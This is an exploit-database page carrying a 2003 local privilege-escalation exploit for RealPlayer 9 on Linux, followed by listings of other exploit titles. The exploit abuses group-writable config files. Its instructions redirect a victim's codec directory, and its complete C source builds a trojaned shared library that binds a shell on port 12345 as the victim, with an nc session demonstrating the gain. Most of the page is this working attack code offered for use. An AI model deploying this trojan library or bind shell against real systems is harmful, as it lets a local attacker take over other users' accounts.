Menu

Search for hundreds of thousands of exploits

"RealOne Player for Linux 2.2 Alpha - Insecure Configuration File Permission Privilege Escalation"

Author

Exploit author

"Jon Hart"

Platform

Exploit platform

linux

Release date

Exploit published date

2003-09-09

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
// source: https://www.securityfocus.com/bid/8571/info

The configuration files for the RealOne Player are installed in the a hidden folder in a users home directory. The issue presents itself, because configuration files stored in this directory are installed with insecure permissions. This means that an attacker, who is in the same group as a target user, may modify RealOne Player configuration files and may thereby escalate privileges to that of the target user. 

/**
 * rp9-priv-esc.c 
 *
 * A local privilege escalation attack against the community supported
 * version of Real.com's Realplayer, version 9.
 *
 * Written by:
 * 	
 * 	Jon Hart <warchild@spoofed.org>
 *
 * By default, configuration files are stored in ~$USER/.realnetworks/, 
 * but all the files in there are group writeable.  So long as ~$USER 
 * has group execution permissions (which is pretty common), a malicious
 * local user can edit the config files of fellow users to do his biddings.  
 *
 * There are a number of ways to attack this, but after some poking it seems
 * that modifying the path to shared libraries and writing my own malicious
 * shared libraries was the easiest.  
 * 
 * (as an aside, just because the shared libraries in the directories contained
 * in ~$USER/.realnetworks/RealShared_0_0/ are stripped doesn't mean we can't get 
 * the symbols back.  objdump quickly can tell us what the names of the 15 
 * functions are, and we can stub out a bogus shared library pretty quickly.)
 *
 * This particular bit of code is meant to replace the shared library 
 * cook.so.6.0, which is contained in the Codecs directory.  To execute this 
 * attack against a fellow local user, first edit their config file 
 * (~victim/.realnetworks/RealShared_0_0) to have the 'dt_codecs' variable
 * point to a directory under your control, like /tmp/Codecs.  Copy all of the 
 * existing files from the previous value of dt_codecs (which is usually something
 * like ~victim/Real/Codecs/) to /tmp/Codecs.  Next, compile the code below as a
 * shared library and copy it to the trojaned directory:
 *
 * 
 * `gcc -shared -fPIC -o /tmp/Codecs/cook.so.6.0 rp9-priv-esc.c`
 *
 *	The next time the victim fires up realplayer 9, a nice little shell 
 * will be listening on port 12345 for you:
 *
 * guest@haiti:/$ id
 * uid=1006(guest) gid=100(users) groups=100(users)
 * guest@haiti:/$ nc localhost 12345
 * id
 * uid=1000(warchild) gid=100(users) groups=100(users),40(src),1003(wheel)
 *
 * Of course, you don't have to execute a shell.  Do whatever makes you happy.
 *
 * Fix?  `chmod 700 ~/.realnetworks/*`
 *
 *  Copyright (c) 2003, Jon Hart 
 * All rights reserved.
 *
 *  Redistribution and use in source and binary forms, with or without modification, 
 *  are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice, 
 *    this list of conditions and the following disclaimer.
 *  * Redistributions in binary form must reproduce the above copyright notice, 
 *    this list of conditions and the following disclaimer in the documentation 
 *    and/or other materials provided with the distribution.
 *  * Neither the name of the organization nor the names of its contributors may
 *    be used to endorse or promote products derived from this software without 
 *    specific prior written permission.
 *
 *
 *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
 *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
 *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
 *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 
 *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
 *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
 *  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 
 *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
 *  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE 
 *  USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 *
 *
 *
 */
#define PORT 12345
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

void RAInitEncoder(void) { }
/** This just happens to be one of the first 
 * functions that realplayer calls after cook.so.6.0 is loaded
 */
void RAOpenCodec2(void) { cookthis(); }
void RAOpenCodec(void) {  }
void RAGetNumberOfFlavors(void) {  }
void RACloseCodec(void) {  }
void RADecode(void) {  }
void RAEncode(void) {  }
void RAFreeEncoder(void) {  }
void RAGetNumberOfFlavors2(void) {  }
void RAFreeDecoder(void) {  }
void RAFlush(void) {  }
void RAGetFlavorProperty(void) {  }
void G2(void) { }
void RASetFlavor(void) {  }
void RAInitDecoder(void) {  }
void RACreateEncoderInstance(void) { }

/* Bind /bin/sh to PORT.  It forks
 * and all that good stuff, so it won't 
 * easily go away.
 */
int cookthis() {


        int sock_des, sock_client, sock_recv, sock_len, server_pid, client_pid;
        struct sockaddr_in server_addr; 
        struct sockaddr_in client_addr;

        if ((sock_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
                exit(EXIT_FAILURE); 

        bzero((char *) &server_addr, sizeof(server_addr));
        server_addr.sin_family = AF_INET; 
        server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
        server_addr.sin_port = htons(PORT);

        if ((sock_recv = bind(sock_des, (struct sockaddr *) &server_addr, sizeof(server_addr))) != 0) 
                exit(EXIT_FAILURE); 
        if (fork() != 0) 
                exit(EXIT_SUCCESS); 
        setpgrp();  
        signal(SIGHUP, SIG_IGN); 
        if (fork() != 0) 
                exit(EXIT_SUCCESS); 
        if ((sock_recv = listen(sock_des, 5)) != 0)
                exit(EXIT_SUCCESS); 
        while (1) { 
                sock_len = sizeof(client_addr);
                if ((sock_client = accept(sock_des, (struct sockaddr *) &client_addr, &sock_len)) < 0)
                        exit(EXIT_SUCCESS); 
                client_pid = getpid(); 
                server_pid = fork(); 
                if (server_pid != 0) { 
                        dup2(sock_client,0); 
                        dup2(sock_client,1); 
                        dup2(sock_client,2);

                        execl("/bin/sh","realplay",(char *)0); 
                        close(sock_client); 
                        exit(EXIT_SUCCESS); 
                } 
                close(sock_client);
        }
}
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.